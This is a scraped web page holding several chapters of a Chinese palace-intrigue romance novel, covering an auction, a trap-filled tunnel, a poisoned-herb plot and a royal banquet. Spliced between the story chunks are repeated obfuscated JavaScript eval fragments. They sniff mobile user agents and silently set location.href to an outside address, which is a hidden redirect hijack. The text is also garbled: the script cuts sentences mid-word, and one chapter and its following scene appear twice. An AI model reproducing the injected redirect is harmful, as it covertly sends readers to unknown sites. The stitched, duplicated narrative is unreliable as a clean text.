l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782790|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低笑:王妃果然胆识过人。 两人穿过熙攘的人群,黑市两侧的摊贩叫卖声此起彼伏,却无人敢靠近他们。 偶尔有人投来探究的目光,却在触及顾云霁似笑非笑的视线时,立刻低头避开。 拍卖会的入口设在一座破旧的茶楼内,门口站着两名戴着青铜面具的守卫。 令牌。其中一人冷声道。 姜绾歌亮出枫木牌,守卫立刻躬身退开:贵客请进。 茶楼内光线昏暗,中央摆着一张红木长桌,桌上铺着黑绸,四周坐着十几位同样戴着面具的买家。烛火摇曳,映得人影幢幢,气氛诡谲。 看来今晚的客人不少。顾云霁在她耳边低语,温热的气息拂过耳廓,王妃可要小心些。 姜绾歌不动声色地拉开距离:管好你自己。 她选了个角落的位置坐下,顾云霁则懒洋洋地倚在她身侧,折扇轻摇,目光却若有似无地扫过在场每一个人。 不多时,拍卖师走上台,是个瘦高的中年男子,脸上戴着银质面具,声音沙哑:诸位久等,今日的压轴之物——寒蝉毒解药方,起价五千两。 台下立刻有人举牌:六千两! 七千! 竞价声此起彼伏,姜绾歌冷眼旁观,指尖轻轻敲击桌面。 一万两。一道低沉的声音突然从二楼雅间传来。 全场一静。 姜绾歌抬眸望去,雅间的帘子半掩,隐约可见一道修长的身影,正是楚临风。他今日未戴面具,苍白的脸上带着病态的冷峻,目光却锐利如刀。 一万两千两!角落里,一个穿紫袍的商人咬牙加价。 楚临风淡淡扫了他一眼:一万五。 紫袍商人脸色铁青,最终不甘心地坐下。 拍卖师敲下木槌:成交! 姜绾歌唇角微勾——鱼上钩了。 拍卖会散场后,姜绾歌和顾云霁悄然跟上了那名紫袍商人。 商人脚步匆匆,拐进一条暗巷,与一名黑衣人低声交谈。 姜绾歌隐在阴影处,听不清他们在说什么,却见黑衣人递过一个沉甸甸的包袱,商人则从怀中掏出刚拍下的药方。 第102章 两人合作 顾云霁在她耳边轻笑,王妃打算怎么做? 姜绾歌眯起眼:抓活的。 话音未落,她已闪身而出,银针破空,精准刺入商人手腕! 啊!商人痛呼一声,药方脱手。黑衣人见状,拔刀便砍,却被顾云霁一扇子敲在腕骨上,长刀咣当落地。 跑什么?顾云霁笑意不达眼底,我家主子还想请二位喝杯茶呢。 商人脸色惨白:你们......你们是谁?! 姜绾歌捡起药方,冷冷道:这话该我问你。 她正要逼问,巷口突然传来一阵脚步声。楚临风带着两名侍卫缓步走来,目光落在商人身上,淡淡道:柳家的狗,也敢来黑市撒野? 商人浑身一颤:三、三殿下...... 楚临风抬手,侍卫立刻上前将商人押住。他看向姜绾歌,微微颔首:多谢。 姜绾歌将药方递过去:殿下要的人,我抓到了。 楚临风接过药方,看了她一眼,低声道:你们俩,倒是合作愉快。 姜绾歌眸光微动,还未回应,顾云霁已笑着插话:我们俩合作碍着你什么事? 楚临风冷淡地扫了他一眼,转身离去。 夜风微凉,姜绾歌和顾云霁并肩走在回客栈的路上。 楚临风似乎对我很有意见?顾云霁摇着扇子,语气玩味。 姜绾歌淡声道:你做了什么让他有意见的事? 顾云霁轻笑:我若是做了,王妃会替我遮掩吗? 不会。 真无情。 姜绾歌懒得理他,加快脚步。顾云霁却突然伸手拽住她的手腕:等等。 她皱眉:做什么? 顾云霁从她袖口拈出一片极小的纸屑,上面隐约有字迹。他展开一看,眉梢微挑:有趣。 姜绾歌凑近,只见纸屑上写着半个柳字。 柳家?她眯起眼,看来今晚的戏还没完。 顾云霁将纸屑碾碎,笑意深邃:王妃,要合作吗? 姜绾歌瞥他一眼:看你表现。 顾云霁话音刚落,巷口的风突然卷来一阵细微的铃铛声。 姜绾歌猛地转身,却只看见街角灯笼在风中摇晃,光影里似有一道白影一闪而过。 有人跟踪。她低声道,手已经摸向腰间短刃。 顾云霁折扇轻摇,看似漫不经心,眼中却闪过一丝冷意:能跟上我们的,恐怕不是柳家的杂鱼。 两人贴着墙根前行,拐过三条巷子后,顾云霁突然停在一家绸缎庄门前。 斑驳的门板上,不知何时多了三道斜划的刻痕。他伸手在门环上轻叩三下,又重重敲了两下。 门板吱呀打开一条缝,露出个佝偻老头浑浊的眼睛:暗号? 夜雨涨秋池。顾云霁压低声音。 老头盯着两人看了半晌,才侧身让开。门后竟是一条幽暗的密道,潮湿的霉味扑面而来。 这是......姜绾歌皱眉。 黑市的备用逃生通道。顾云霁举着油灯在前引路,不过知道的人不多。 密道七拐八绕,尽头是一间堆满杂物的地下室。顾云霁移开墙角的陶罐,露出墙上的暗格,取出一卷泛黄的图纸摊开。 图纸上密密麻麻标注着黑市各处的位置,还有一些用朱砂圈出的记号。 你看这个。他指着图纸右下角,柳家在黑市的据点就在拍卖会地下。 姜绾歌凑近细看,突然听见头顶传来脚步声。 两人立刻屏息,顾云霁熄灭油灯,地下室陷入一片漆黑。 确定他们进了密道?上方传来一个陌生的声音。 没错,有人看见他们进了。另一个声音说,不过那个地方...... 哼,不过是顾云霁那小子的眼线罢了。这次无论如何,不能让他们活着出去。 脚步声渐渐远去,姜绾歌正要开口,却感觉顾云霁的手突然捂住她的嘴。 他的手掌宽厚温热,紧紧贴合在她的唇上。 姜绾歌心中一惊,下意识地想要挣脱,可触及顾云霁那严肃的眼神,动作顿住。 几乎同时,一阵机关启动的声响传来,无数利箭从墙面射出,擦着两人头皮飞过! 尖锐的破空声在耳边呼啸,姜绾歌的心瞬间提到嗓子眼。 顾云霁揽着她就地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782791|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚,躲进墙角的凹陷处。 他的手臂紧紧环绕着她的腰肢,力度大得仿佛要将她揉进自己身体里。 黑暗中,他的声音带着少见的严肃:“别乱动,这是连环机关。” 姜绾歌能感觉到顾云霁的呼吸喷洒在自己耳畔,温热的气息让她脸颊微微发烫,这种肢体接触让她有些不自在。 利箭稍歇,头顶又传来石块移动的轰鸣声。 姜绾歌抬头,只见上方的石板正在缓缓下降,带着尖锐的倒刺。 “现在怎么办?”她低声问,声音不自觉地带上一丝焦急。 顾云霁摸出火折子点亮,摇曳的火光在黑暗中闪烁,映照着两人略显紧张的脸庞。 他的目光在墙上扫视,眉头紧锁,透着一股专注。 “找机关枢纽......找到了!”他指着墙角一块刻着奇怪花纹的青砖,“试试逆时针转动。” 说着,顾云霁拉过姜绾歌的手,覆在那块青砖上。 他的手包裹着她的手,力度恰到好处,既坚定又不失温柔。 姜绾歌心中一颤,想要抽回手,却又被他紧紧握住。 “听我的,一起用力。”顾云霁的声音低沉而有力,仿佛有一种让人安心的魔力。 两人合力逆时针转动青砖,可青砖纹丝未动。 姜绾歌心急如焚,额头上渗出细密的汗珠。 “怎么不行?是不是你弄错了?”她忍不住问道。 顾云霁微微皱眉,思考片刻后说:“再试试,可能力气不够。” 说着,他靠得更近了些,胸膛紧紧贴着姜绾歌的后背,另一只手也覆上来,加大了转动的力度。 姜绾歌能清晰地感觉到顾云霁的心跳声,沉稳而有力,仿佛也在传递着一种力量。 在这狭小的空间里,两人紧密相依,呼吸交织在一起。 终于,青砖缓缓转动,头顶的石板停止下降,利箭也不再射出。 危机暂时解除,姜绾歌长舒一口气,顾云霁也松开了手。 两人对视一眼,姜绾歌的脸颊绯红,不知是因为刚才的紧张,还是因为她和他的肢体接触。 第104章 顾云霁的另一面 姜绾歌躺在床上,辗转反侧,怎么也想不明白,堂堂闻风丧胆的霁月楼楼主顾云霁,明明在商场和江湖上**不眨眼,手段狠辣。 可私下里却像是有两副面孔,时而戏谑调侃,时而又一本正经地凑近乎,难不成他是人格**?这男人的心思,实在让人捉摸不透。 好不容易熬到天亮,姜绾歌顶着两个黑眼圈起身。 简单收拾后,便与顾云霁继续赶路。 一路上,顾云霁似乎察觉到姜绾歌的刻意疏离,倒也没有像之前那样频繁搭话,只是偶尔提醒姜绾歌注意路况。 终于,两人抵达京城。 姜绾歌心急如焚,径直朝着杏林堂赶去。 顾云霁不紧不慢地跟在她身后,折扇轻摇,一副悠然自得的模样。 一到杏林堂,姜绾歌径直走向周掌柜的屋子。 周掌柜是杏林堂资历最老的人,负责着杏林堂大小事务的统筹,在堂中颇具威望,姜绾歌对他也极为信任。 姜绾歌走进屋子,周掌柜赶忙起身相迎:“王妃,您回来了。” 姜绾歌摆摆手,示意周掌柜坐下,神色凝重地说:“周掌柜,杏林堂怕是遭了算计。我听说雪里青的采购量近期异常增加,这事你知道吧?” 周掌柜微微皱眉,眼中闪过一丝忧虑,缓缓说道:“王妃,此事老奴的确知晓。是赵管事负责采购这块儿,他告知我说是接到上头指示,要加大雪里青的采购量,具体原因并未多言。老奴虽觉得有些奇怪,但想着或许是您的安排,也就没有多问。” 姜绾歌目光灼灼地看着周掌柜:“周掌柜,我需要你私下帮我查一查赵管事的行踪。他最近与什么人来往,去了哪些地方,越详细越好。不过,此事一定要隐秘,不能让任何人察觉。” 周掌柜立刻明白事情的严重性,郑重其事地说:“王妃放心,老奴定当竭尽全力。只是,这赵管事平日里行事谨慎,恐怕不太容易查。” 姜绾歌思索片刻,说:“我知道此事棘手,但周掌柜你在杏林堂多年,人脉广,办法多,我相信你能办好。另外,对于这批雪里青,你让人暗中盯着,千万别让人动了手脚。” 周掌柜点头应下:“王妃放心,老奴明白。” 安排好周掌柜后,姜绾歌找到账房先生,佯装要核对账目,实则仔细查看近期雪里青的采购明细。 她一边翻看着账本,一边问账房先生:“张账房,这雪里青近来采购量增加,可账目上却没有明确记录采购用途,这是为何?” 张账房战战兢兢地回答:“回王妃,此事是赵管事亲自负责,他说这是机密,不让记录,所以账目上就……” 姜绾歌眉头紧皱,心中愈发觉得此事蹊跷。 姜绾歌啪地合上账本,惊得张账房先生浑身一抖。账本里夹着的票据簌簌掉落,全是赵管事经手的雪里青采购单,每一张都透着古怪。 张账房,这些单子上的印章,怎么看着和平时不一样?她拈起一张票据,对着窗口透进来的光仔细查看。朱砂红的印章边缘模糊,明显是匆忙间盖上去的。 张账房抹了把额头上的汗,结结巴巴地说:这......这是赵管事特意交代的,说新换了印章...... 新印章?我怎么不知道杏林堂换过印章?姜绾歌猛地抬头,眼神锐利如刀。张账房被她看得腿一软,差点跌坐在地上。 就在这时,门外传来熟悉的折扇敲击声。顾云霁晃着扇子踱进来,扫了眼桌上散落的票据:王妃这是审犯人呢?瞧把老人家吓得。 姜绾歌没理会他的调侃,将票据往他面前一推:顾公子见多识广,看看这印章有什么问题。 顾云霁拿起票据端详片刻,突然笑出声:这印章仿得倒是像,可惜......他用扇骨敲了敲印章边缘,真正的杏林堂印章,"堂"字最后一竖会稍微出头半分,这张却没有。 姜绾歌心里一沉。果然有问题!她转向张账房,语气冷得像冰:张账房,你跟了我这么多年,最好想清楚,帮着外人欺瞒主子是什么下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788598|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场。 张账房扑通一声跪下,膝盖撞在青砖地上发出闷响:王妃饶命!赵管事拿我儿子威胁我,我实在没办法...... 他让你做什么? 他说只要我在账本上动点手脚,就保证我儿子平安。这些假印章的单子,都是他让我记入账本的...... 姜绾歌气得浑身发抖。她在杏林堂推行仁善之道,没想到底下人却背着她干这种勾当。顾云霁见状,适时递来一杯茶:消消气,现在最重要的是找到赵管事。 话音未落,外头突然传来一阵骚动。一个小厮慌慌张张跑进来:王妃!不好了!药库着火了! 姜绾歌脸色骤变,拔腿就往外跑。顾云霁一把抓住她手腕:别冲动!这明显是调虎离山之计,对方想销毁证据! 果然,等他们赶到药库时,库房已经浓烟滚滚。救火的伙计们忙得团团转,却始终打不开紧锁的库门。 姜绾歌看着熊熊烈火,突然反应过来:不好!雪里青都在库房里! 顾云霁眯起眼睛,看着不远处鬼鬼祟祟的身影:看来有人等不及了。王妃,借你手里的银针一用。 姜绾歌二话不说,从袖中掏出一把银针递给他。 顾云霁手腕一抖,几根银针破空而出,只听哎哟几声惨叫,三个蒙面人从屋顶跌落。 搜!姜绾歌一声令下。伙计们冲上去按住蒙面人,从他们身上搜出几包白色粉末,正是龙血砂。 这时,周掌柜急匆匆赶来:王妃!赵管事不见了!有人看见他往城西方向去了! 追!姜绾歌翻身上马。 顾云霁也跟着上马,却拦住她的马头:城西鱼龙混杂,对方肯定设了埋伏。让我带霁月楼的人先去探探路。 姜绾歌刚要反驳,顾云霁已经策马而去。 她咬咬牙,带着杏林堂的伙计紧随其后。 城西破庙里,赵管事正对着一个黑衣人磕头如捣蒜:听雨阁的大爷,我已经按你们说的做了,求您饶我一命...... 第104章 顾云霁的另一面 姜绾歌躺在床上,辗转反侧,怎么也想不明白,堂堂闻风丧胆的霁月楼楼主顾云霁,明明在商场和江湖上**不眨眼,手段狠辣。 可私下里却像是有两副面孔,时而戏谑调侃,时而又一本正经地凑近乎,难不成他是人格**?这男人的心思,实在让人捉摸不透。 好不容易熬到天亮,姜绾歌顶着两个黑眼圈起身。 简单收拾后,便与顾云霁继续赶路。 一路上,顾云霁似乎察觉到姜绾歌的刻意疏离,倒也没有像之前那样频繁搭话,只是偶尔提醒姜绾歌注意路况。 终于,两人抵达京城。 姜绾歌心急如焚,径直朝着杏林堂赶去。 顾云霁不紧不慢地跟在她身后,折扇轻摇,一副悠然自得的模样。 一到杏林堂,姜绾歌径直走向周掌柜的屋子。 周掌柜是杏林堂资历最老的人,负责着杏林堂大小事务的统筹,在堂中颇具威望,姜绾歌对他也极为信任。 姜绾歌走进屋子,周掌柜赶忙起身相迎:“王妃,您回来了。” 姜绾歌摆摆手,示意周掌柜坐下,神色凝重地说:“周掌柜,杏林堂怕是遭了算计。我听说雪里青的采购量近期异常增加,这事你知道吧?” 周掌柜微微皱眉,眼中闪过一丝忧虑,缓缓说道:“王妃,此事老奴的确知晓。是赵管事负责采购这块儿,他告知我说是接到上头指示,要加大雪里青的采购量,具体原因并未多言。老奴虽觉得有些奇怪,但想着或许是您的安排,也就没有多问。” 姜绾歌目光灼灼地看着周掌柜:“周掌柜,我需要你私下帮我查一查赵管事的行踪。他最近与什么人来往,去了哪些地方,越详细越好。不过,此事一定要隐秘,不能让任何人察觉。” 周掌柜立刻明白事情的严重性,郑重其事地说:“王妃放心,老奴定当竭尽全力。只是,这赵管事平日里行事谨慎,恐怕不太容易查。” 姜绾歌思索片刻,说:“我知道此事棘手,但周掌柜你在杏林堂多年,人脉广,办法多,我相信你能办好。另外,对于这批雪里青,你让人暗中盯着,千万别让人动了手脚。” 周掌柜点头应下:“王妃放心,老奴明白。” 安排好周掌柜后,姜绾歌找到账房先生,佯装要核对账目,实则仔细查看近期雪里青的采购明细。 她一边翻看着账本,一边问账房先生:“张账房,这雪里青近来采购量增加,可账目上却没有明确记录采购用途,这是为何?” 张账房战战兢兢地回答:“回王妃,此事是赵管事亲自负责,他说这是机密,不让记录,所以账目上就……” 姜绾歌眉头紧皱,心中愈发觉得此事蹊跷。 姜绾歌啪地合上账本,惊得张账房先生浑身一抖。账本里夹着的票据簌簌掉落,全是赵管事经手的雪里青采购单,每一张都透着古怪。 张账房,这些单子上的印章,怎么看着和平时不一样?她拈起一张票据,对着窗口透进来的光仔细查看。朱砂红的印章边缘模糊,明显是匆忙间盖上去的。 张账房抹了把额头上的汗,结结巴巴地说:这......这是赵管事特意交代的,说新换了印章...... 新印章?我怎么不知道杏林堂换过印章?姜绾歌猛地抬头,眼神锐利如刀。张账房被她看得腿一软,差点跌坐在地上。 就在这时,门外传来熟悉的折扇敲击声。顾云霁晃着扇子踱进来,扫了眼桌上散落的票据:王妃这是审犯人呢?瞧把老人家吓得。 姜绾歌没理会他的调侃,将票据往他面前一推:顾公子见多识广,看看这印章有什么问题。 顾云霁拿起票据端详片刻,突然笑出声:这印章仿得倒是像,可惜......他用扇骨敲了敲印章边缘,真正的杏林堂印章,"堂"字最后一竖会稍微出头半分,这张却没有。 姜绾歌心里一沉。果然有问题!她转向张账房,语气冷得像冰:张账房,你跟了我这么多年,最好想清楚,帮着外人欺瞒主子是什么下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788598|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场。 张账房扑通一声跪下,膝盖撞在青砖地上发出闷响:王妃饶命!赵管事拿我儿子威胁我,我实在没办法...... 他让你做什么? 他说只要我在账本上动点手脚,就保证我儿子平安。这些假印章的单子,都是他让我记入账本的...... 姜绾歌气得浑身发抖。她在杏林堂推行仁善之道,没想到底下人却背着她干这种勾当。顾云霁见状,适时递来一杯茶:消消气,现在最重要的是找到赵管事。 话音未落,外头突然传来一阵骚动。一个小厮慌慌张张跑进来:王妃!不好了!药库着火了! 姜绾歌脸色骤变,拔腿就往外跑。顾云霁一把抓住她手腕:别冲动!这明显是调虎离山之计,对方想销毁证据! 果然,等他们赶到药库时,库房已经浓烟滚滚。救火的伙计们忙得团团转,却始终打不开紧锁的库门。 姜绾歌看着熊熊烈火,突然反应过来:不好!雪里青都在库房里! 顾云霁眯起眼睛,看着不远处鬼鬼祟祟的身影:看来有人等不及了。王妃,借你手里的银针一用。 姜绾歌二话不说,从袖中掏出一把银针递给他。 顾云霁手腕一抖,几根银针破空而出,只听哎哟几声惨叫,三个蒙面人从屋顶跌落。 搜!姜绾歌一声令下。伙计们冲上去按住蒙面人,从他们身上搜出几包白色粉末,正是龙血砂。 这时,周掌柜急匆匆赶来:王妃!赵管事不见了!有人看见他往城西方向去了! 追!姜绾歌翻身上马。 顾云霁也跟着上马,却拦住她的马头:城西鱼龙混杂,对方肯定设了埋伏。让我带霁月楼的人先去探探路。 姜绾歌刚要反驳,顾云霁已经策马而去。 她咬咬牙,带着杏林堂的伙计紧随其后。 城西破庙里,赵管事正对着一个黑衣人磕头如捣蒜:听雨阁的大爷,我已经按你们说的做了,求您饶我一命...... 第105章 顾铭轩的吃醋 黑衣人冷笑一声:留着你始终是个祸患。 说着,抽出腰间长剑。就在剑尖要刺向赵管事时,一道寒光闪过,长剑被打落在地。 顾云霁晃着扇子走进来:听雨阁的手可真长啊,不过这事儿,恐怕没那么容易了结。 姜绾歌带着人随后赶到,看着瘫坐在地上的赵管事,眼神冰冷:赵昌,你还有什么可说的? 赵管事哆哆嗦嗦地指着黑衣人:王妃,都是他逼我的!他说如果不帮忙,就杀了我全家...... 黑衣人见势不妙,突然掏出**扔在地上。 烟雾弥漫间,他趁机逃跑。 姜绾歌刚要追,顾云霁伸手拦住她:别追了,这人轻功了得,一时半会儿追不上。 姜绾歌死死盯着瘫在地上的赵管事,眼底似有两簇怒火烧得正旺:“你不过是替人跑腿的狗!说,谁给你的胆子,敢把带毒的雪里青往杏林堂送?” 她弯腰揪住对方前襟,咬牙道,“要是那些信任杏林堂的病人,喝了毒草水疼得满地打滚,你摸着良心问问,夜里真能睡得踏实?” 见赵管事瑟缩着不敢吭声,姜绾歌扬手狠狠甩了他一巴掌,脆响惊得衙役都下意识后退半步:“今日先送你去大牢!等我揪出背后主谋,定要你们血债血偿!” 她冷声道,“拖走!少一根汗**,我扒了你们的皮!” 看着赵管事被押走,姜绾歌总算松了口气。 可事情还没完,听雨阁和龙血砂背后的秘密,才刚刚露出冰山一角。 夜色渐深,杏林堂里灯火通明。 姜绾歌坐在书房里,看着重新整理的账本,眉头紧锁。 顾云霁懒洋洋地靠在门边,月光照得他半边脸明半边脸暗。 王妃这么拼命,该不会是想早点累死自己,好让我白捡个杏林堂吧? 他说话慢悠悠的,每个字都像带着刺,好像在说一件再正常不过的事。 他慢步走过来,衣袖扫过桌角,带起一阵淡淡的香气。 手指在茶碗边上轻轻敲了两下,把茶推到姜绾歌面前。 趁热喝,他声音低低的,忽然话锋一转,凉了的话……药效可就不够劲儿了。 姜绾歌头也不抬:少假惺惺。说吧,你帮我到底图什么? 顾云霁笑了笑,没回答她的问题,反而说:明天我带你去见个人,或许能解开龙血砂的秘密。 姜绾歌终于抬起头,眼神警惕:你又在打什么主意? 放心,包你不吃亏。顾云霁晃了晃扇子,毕竟,我还指望和杏林堂做笔大生意呢。 看着他离去的背影,姜绾歌喃喃自语:这个男人,这肚子到底装的是什么坏水...... 姜绾歌好不容易解决完杏林堂的棘手之事,夜色已然深沉。 她拖着疲惫的身躯回到靖王府,刚踏入府邸,绿竹便匆匆迎了上来。 绿竹神色有些犹豫,嗫嚅着说道:“王妃,最近王爷又带回一名女子,那女子……模样竟与您有几分相像。” 姜绾歌神色未变,满不在乎地说道:“带女人就带女人咯,他要是不带女人回来,那就不符合他花花肠子的性格了。” 说罢,她径直走向自己的房间,实在是身心俱疲,只想赶紧洗漱休息。 一番洗漱过后,姜绾歌换上宽松的寝衣,慵懒地躺到床上。 她刚闭上眼,就听到窗边传来一阵轻微的响动。 姜绾歌警觉地睁眼,只见一个黑影敏捷地翻窗而入。 待黑影落地,借着微弱的月光,姜绾歌看清来人竟是皇上顾铭轩。 姜绾歌忍不住怪道:“你当这王府是你的皇宫啊,想来就想,想走就走。还每次都翻墙进来,堂堂一国之君,行事如此不顾体统。” 顾铭轩却充耳不闻,几步走到床边,满脸醋意地说道:“绾绾,你别和顾云霁走得太近。” 姜绾歌听到这话,忍不住轻笑出声,打趣道:“哟,皇上这是怎么了?吃醋了?” “你对我的行踪可真是比我还要清楚……” “是暗卫没说清楚还是你胡乱猜测?分明是顾云霁主动接近我的,又不是我去招惹他。你要吃醋,我还没说你呢,你可是坐拥后宫佳丽三千人。” 顾铭轩坐到床边,伸手握住姜绾歌的手,理直气壮地说:“我那后宫不过是做做样子,你又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793106|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不知道。可顾云霁,他对你明显居心不良。” 姜绾歌挑眉,故意逗他:“居心不良?说不定人家只是单纯欣赏我的医术和才能呢。再说了,我与他一同查案,也是为了京城百姓,为了杏林堂,你可别胡乱猜忌。” 顾铭轩突然凑近,指尖挑起她一缕发丝绕在指间:“霁月楼的算盘都打到你枕边了,你倒好,还帮着数银子?” 姜绾歌拍开他的手:“查案需要,你别胡搅蛮缠。” “雪里青的事,他究竟给了你什么好处?”顾铭轩道。 姜绾歌白了他一眼:“能有什么好处!不过是各取所需罢了!你要是不信,大可以派人去查!” 顾铭轩看着她气鼓鼓的样子,突然笑出声,伸手揉了揉她的脑袋:“行了行了,逗你呢。” 见她还在瞪自己,又凑近低声道:“我就是看不惯他总往你身边凑,明明我才是......” 他突然住了嘴,轻咳一声转移话题,“不过这雪里青的事的确蹊跷,你若是需要人手,朕的暗卫随你调遣。” 姜绾歌哼了一声:“这会儿又假惺惺充好人了?早干嘛去了?” 顾铭轩长臂一揽,将姜绾歌拢在身侧,下巴轻轻蹭着她的发顶,语气满是担忧:“那顾云霁心思太深,一肚子弯弯绕绕。我就怕你心太实,着了他的道儿。” 说着,他双手扳过姜绾歌肩膀,目光直直望着她,郑重道。 “你须得应我,往后若遇着难处,千万要即刻传信于我。切莫一个人硬扛,可记住了?”那眼神认真得紧,叫人不敢敷衍。 姜绾歌轻哼一声,别过脸去:“晓得啦!怎的比老嬷嬷还啰嗦!” 顾铭轩被她这话逗笑,屈指轻轻刮了下她鼻尖:“明日便让御膳房做你爱吃的桂花糕送来,届时休要嫌不够甜。” 说完,在她额头落下一吻,语气里满是不舍:“时辰不早,我该回宫了。你自己千万当心,万事不可逞强。” 姜绾歌倚在窗边,看着顾铭轩离去的方向发怔。 夜风掀起纱帘,带着些许凉意拂过她的脸颊,让她突然想起一件事——算算日子,太上皇的南巡也该结束了。 第106章 王爷的新侍女 这几天,怕是就要回宫。 想到这儿,她不由得皱起眉头。 太上皇在位时手段雷厉,虽已退居幕后,却仍对朝局有着不小的影响力。 几日后,姜绾歌得知太上皇回宫,又听闻宫里摆下酒席,满朝文武百官皆要入宫参加。 她作为靖王妃,自然也在受邀之列。 姜绾歌站在铜镜前,青竹正为她戴上最后一支金凤步摇。 镜中女子一袭正红色宫装,腰间玉带缀着七宝璎珞,贵气逼人。 王妃,马车备好了。管家在门外恭敬道。 她刚踏出房门,就看见院中停着两辆马车。 前头那辆朱轮华盖的车驾旁,靖王正亲手扶着一个穿浅碧色侍女服的女子上车。 那女子低眉顺目,可侧脸轮廓与姜绾歌竟有七八分相似。 姜绾歌的目光在王爷和那女子之间一扫,心底顿时雪亮。 呵,好一招李代桃僵——明面上带的是侍女,实则却是要把这上不得台面的女人塞进宫去。 她指尖无意识地摩挲着袖口的金线刺绣,忽然想起青柠说王爷特意命人将那女子的衣裳都改成了侍女样式。 原来从那时起,这对野鸳鸯就在打这个主意。 姜绾歌冷眼看着王爷和那女子登上华贵马车,眼底闪过一丝讥诮。 想让她坐那辆寒酸的青布马车?做梦! 她唇角微勾,不紧不慢地走上前,在王爷即将踏进车厢的刹那,忽然伸手一拦—— 王爷且慢。 王爷皱眉,不耐地回头:王妃还有何事? 姜绾歌笑意盈盈,眼神却冷如霜刃:这辆马车,是御赐给正妃的座驾,王爷若执意要带"侍女"同乘,那便请移步后面的马车。 王爷脸色骤沉:你什么意思? 意思就是——她微微倾身,压低嗓音,只容他一人听见,要么你们滚去坐那辆破车,要么我现在就当着全府下人的面,拆穿这位"侍女"的**。 王爷瞳孔一缩,显然没料到她竟敢如此强硬。 那女子更是脸色煞白,手指紧紧绞着衣袖,不敢抬头。 四周的下人们虽低着头,却个个竖着耳朵,生怕错过这场好戏。 姜绾歌慢条斯理地抚了抚衣袖,语气轻快:王爷,选吧。 空气凝滞一瞬。 最终,王爷咬牙冷笑:好,很好! 他猛地甩袖,拽着那女子转身就走,直奔后面的青布马车。 姜绾歌目送他们狼狈的背影,唇角勾起一抹得逞的笑。她优雅地登上华贵马车,对车夫吩咐:启程,别误了宫宴的时辰。 姜绾歌的马车缓缓驶入宫门,朱红的宫墙在暮色中显得格外肃穆。 她掀开车帘一角,看着王爷和那妾室从后面的青布马车上下来,那妾室低着头,脚步虚浮,显然被颠簸的马车折腾得不轻。 王妃,请随奴婢来。早有宫女提着宫灯在旁等候。 姜绾歌优雅地搭着宫女的手下了马车,眼角余光瞥见王爷正欲带着那侍女往偏门走。 她红唇微勾,故意提高声音道:王爷怎么往那边去?太上皇的宴席可是在正阳殿呢。 这一声引得周围几个正要入宫的命妇都看了过来。 王爷身形一僵,不得不转身往正殿方向走。那侍女慌乱地扯了扯面纱,脚步踉跄地跟上。 穿过重重宫门,姜绾歌始终保持着恰到好处的距离。 她注意到那女子虽然穿着侍女的衣裳,但发间却插着一支精巧的珍珠簪子。 那是侧妃才应该有的待遇,一个无名无分的女子…… 呵…...姜绾歌眼中寒光一闪,随即恢复如常。 她故意放慢脚步,等那女子走近时,突然不小心踩到了对方的裙角。 啊!那女子惊呼一声,面纱滑落,精心描画的妆容顿时暴露在众人面前。 这不是...…旁边一位夫人惊讶地掩唇。 姜绾歌故作惊讶:这位"侍女"好生面熟,倒像是...…她故意停顿,意味深长地看向王爷。 王爷脸色铁青,一把拽过那女子就要离开。 姜绾歌却快一步上前,状似关切地问道:这位姑娘没事吧?怎么看着脸色不太好?要不要请太医看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那女子浑身一颤,却不敢违抗,只能低着头,战战兢兢地站到姜绾歌身后。 姜绾歌转身,裙摆翩然,朝宴席走去。 宫女恭敬地将姜绾歌引至席间,她的位置设在女眷上首,离主座不远,显然是按正妃的礼制安排的。 